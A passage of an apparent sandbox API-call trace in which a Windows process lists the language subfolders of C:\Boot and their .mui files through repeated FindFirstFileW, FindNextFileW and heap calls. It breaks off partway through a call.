[0275.814] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.814] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.814] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.814] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.814] GetProcessHeap () returned 0xaf0000 [0275.814] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.814] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0275.815] GetProcessHeap () returned 0xaf0000 [0275.815] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.815] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.815] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.815] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.815] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.815] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0275.815] GetProcessHeap () returned 0xaf0000 [0275.815] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.815] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0275.815] GetProcessHeap () returned 0xaf0000 [0275.815] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.816] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.816] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.816] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.816] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.816] GetProcessHeap () returned 0xaf0000 [0275.816] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.816] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0275.816] GetProcessHeap () returned 0xaf0000 [0275.816] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.817] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.817] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.817] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.817] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.817] GetProcessHeap () returned 0xaf0000 [0275.817] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.817] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0275.817] GetProcessHeap () returned 0xaf0000 [0275.817] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.817] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.817] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.818] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.818] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.818] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.818] GetProcessHeap () returned 0xaf0000 [0275.818] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.818] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0275.818] GetProcessHeap () returned 0xaf0000 [0275.818] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.819] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.819] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.819] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.819] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.819] GetProcessHeap () returned 0xaf0000 [0275.819] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.819] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0275.819] GetProcessHeap () returned 0xaf0000 [0275.819] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.819] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.819] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.820] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.820] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.820] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.820] GetProcessHeap () returned 0xaf0000 [0275.820] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.820] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0275.820] GetProcessHeap () returned 0xaf0000 [0275.820] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.820] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.820] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.820] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.821] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, 